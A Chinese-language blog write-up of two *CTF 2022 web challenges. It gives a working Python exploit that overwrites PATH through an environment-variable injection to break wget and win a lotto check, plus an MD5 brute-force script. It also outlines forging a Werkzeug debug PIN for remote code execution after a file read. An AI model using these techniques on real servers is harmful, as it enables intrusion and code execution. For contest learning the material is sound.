[*ctf 2022]oh-my-lotto 题解 wp 复现

[*ctf 2022]oh-my-lotto

简单复现

参考(43条消息) *CTF2022 - Web_A丶R的博客-CSDN博客

直接用师傅的脚本可以

import requests
url = "http://121.36.217.177:53001/"
def lotto(key,value):
data = {"lotto_key": key,
"lotto_value": value}
txt=requests.post(url + "lotto",data=data).text
print(txt)
def getResult():
txt=requests.get(url+"result").text
p=txt.split("<p>")[-1].split("</p>")[0]
return p
lotto("","")
result= {"file":getResult()}
requests.post(url + "forecast",files=result)
lotto("PATH","xxxx")
#*ctf{its_forecast_0R_GUNICORN}

image-20220418151349338

题目的讲解

前面有个md5比较,这是为了防止dos和搅屎,爆破代码如下

from multiprocessing.dummy import Pool as tp
import hashlib
knownMd5 = '3a3356'
def md5(text):
return hashlib.md5(str(text).encode('utf-8')).hexdigest()
def findCode(code):
key = code.split(':')
start = int(key[0])
end = int(key[1])
for code in range(start, end):
if md5(code)[0:6] == knownMd5:
print(code)
break
list=[]
for i in range(2): #这里的range(number)指爆破出多少结果停止
list.append(str(100000000000*i) + ':' + str(100000000000*(i+1))) #明文只能是数字
pool = tp() #使用多线程加快爆破速度
pool.map(findCode, list)
pool.close()
pool.join()

比较成功会返回题目的端口号:53000

/app/lotto_result.txt 是实际值

/app/guess/forecast.txt 是预测值

lotto_key有两个waf,toupper和黑名单

result是在app容器中读取/app/lotto_result.txt,也就是等价于返回20个随机的数字,意思是让玩家据此找规律猜数字(当然作为web黑客是不可能去找规律的)

forecast是预测,会把你预测的值放入/app/guess/forecast.txt

lotto是开奖,会让你莫名其妙的传一个lotto_key和lotto_value,之后wget从lotto容器里面获取新的实际值并写入/app/lotto_result.txt,最后与本地的/app/guess/forecast.txt比较,看看您是否中奖

if forecast == lotto_result:
return flag

源码中提供一种方式通过lotto_keylotto_value来修改环境变量的值,可以修改PATH为一个无效值,从而使wget报错,导致上一次的lotto_result不会改变,然后直接复制上一次的lotto结果传入即可

那位师傅说的话我们学习一下:wget --help

image-20220418160044303

image-20220418160118634

wget --content-disposition -N lotto

这里的-N是这个意思只获取比本地文件新的文件,这样预测->开奖的代码功能就能实现

漏洞点是wget

搭一下环境

docker-compose up -d

查看环境变量

env

image-20220418170731032

PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

修改环境变量

方法三:

  直接运行export命令定义变量【只对当前shell(BASH)有效(临时的)】

  在shell的命令行下直接使用[export变量名=变量值]定义变量,该变量只在当前的shell(BASH)或其子shell(BASH)下是有效的,shell关闭了,变量也就失效了,再打开新shell时就没有这个变量,需要使用的话还需要重新定义。

  例如:export PATH=/usr/local/webserver/php/bin:$PATH

export PATH=xxxxx:$PATH

这种是新增加环境变量,

看到题目源码

os.environ[lotto_key] = lotto_value

说明我们改的话很可能是全部改掉,试试

image-20220418171840942

image-20220418172828462

这样就直接所有命令都寄掉了

然后我魔改了一下脚本,不要再设置环境变量

image-20220418173140212

是可以出的

结论

try:
os.system('wget --content-disposition -N lotto')
...
except Exception as e:
...

这种情形加上环境变量可控的话,如果想要上述命令不执行并且不抛出Exception,可以直接修改环境变量为错误值

但是这里有个小异或:

上面这个红色报错的话不应该直接俄来到下面吗

image-20220418172926676

可是不会来到这里

except Exception as e:
message = 'Lotto Error!'
return render_template('lotto.html', message=message)

希望知道原因的师傅能指点一下俺

[*CTF]oh-my-notepro

这道题我没题目环境,那就参考y42022*CTF-Web | Y4tacker's Blog

前面mysql读文件不说了,需要的话参考:CSS-T | Mysql Client 任意文件读取攻击链拓展 (seebug.org)

然后最后是看到报错有个pin,在有任意文件读取的情形下,尝试构造pin码rceFlask debug pin安全问题 - 先知社区 (aliyun.com)

注意改版

发现python3.8以后从原来的md5改成了sha1

image-20220418205336016

image-20220418205325749

其实当时那道[impletCTF]也是如此,换了版本

主要就在这个debug/__init__.py中,先来看一下_get_pin函数

def _get_pin(self):
if not hasattr(self, '_pin'):
self._pin, self._pin_cookie = get_pin_and_cookie_name(self.app)
return self._pin

跟进一下get_pin_and_cookie_name函数

def get_pin_and_cookie_name(app):
"""Given an application object this returns a semi-stable 9 digit pin
code and a random key. The hope is that this is stable between
restarts to not make debugging particularly frustrating. If the pin
was forcefully disabled this returns `None`.
Second item in the resulting tuple is the cookie name for remembering.
"""
pin = os.environ.get('WERKZEUG_DEBUG_PIN')
rv = None
num = None
# Pin was explicitly disabled
if pin == 'off':
return None, None
# Pin was provided explicitly
if pin is not None and pin.replace('-', '').isdigit():
# If there are separators in the pin, return it directly
if '-' in pin:
rv = pin
else:
num = pin
modname = getattr(app, '__module__',
getattr(app.__class__, '__module__'))
try:
# `getpass.getuser()` imports the `pwd` module,
# which does not exist in the Google App Engine sandbox.
username = getpass.getuser()
except ImportError:
username = None
mod = sys.modules.get(modname)
# This information only exists to make the cookie unique on the
# computer, not as a security feature.
probably_public_bits = [
username,
modname,
getattr(app, '__name__', getattr(app.__class__, '__name__')),
getattr(mod, '__file__', None),
]
# This information is here to make it harder for an attacker to
# guess the cookie name. They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = [
str(uuid.getnode()),
get_machine_id(),
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, text_type):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
return rv, cookie_name

return的rv变量就是生成的pin码

那么写脚本就直接对着上面源码顺序执行就可以

headers = {
"cookie":"session=.eJwVi0EKwyAQAL8ie8mlEE3ArP1MWXdXCE21REsJpX-POcxlhvkB1z09WnlqhjvMkwvKHBktRmfD5J1NKj5EXBDZeppVAi5wg0_VPdNL-7UVEiPUyKw5rZuaYdTG45tq_crQZSumUezhOKRewP8E760nRw.YlqN-g.KZrp8S7tsXPS60cPH88awzRI35Q"
}
r = requests.get(url+payload1,headers=headers)
r = requests.get(url+payload2,headers=headers)
probably_public_bits = [
'ctf'# /etc/passwd
'flask.app',# 默认值
'Flask',# 默认值
'/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到
]

等有环境了再补充,据说在MIT上开源了

评论

  1. x
    xux
    2022-4-21
    2022-4-21 10:58:02

    我的理解是os.system执行失败python是不会抛出异常的
    可以试一试这一段代码

    import os
    try:
        os.system("aaa")
        print("test")
    except:
        print("exception")
    • t
      博主
      xux
      2022-4-21
      2022-4-21 15:26:08

      感谢师傅指点!

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇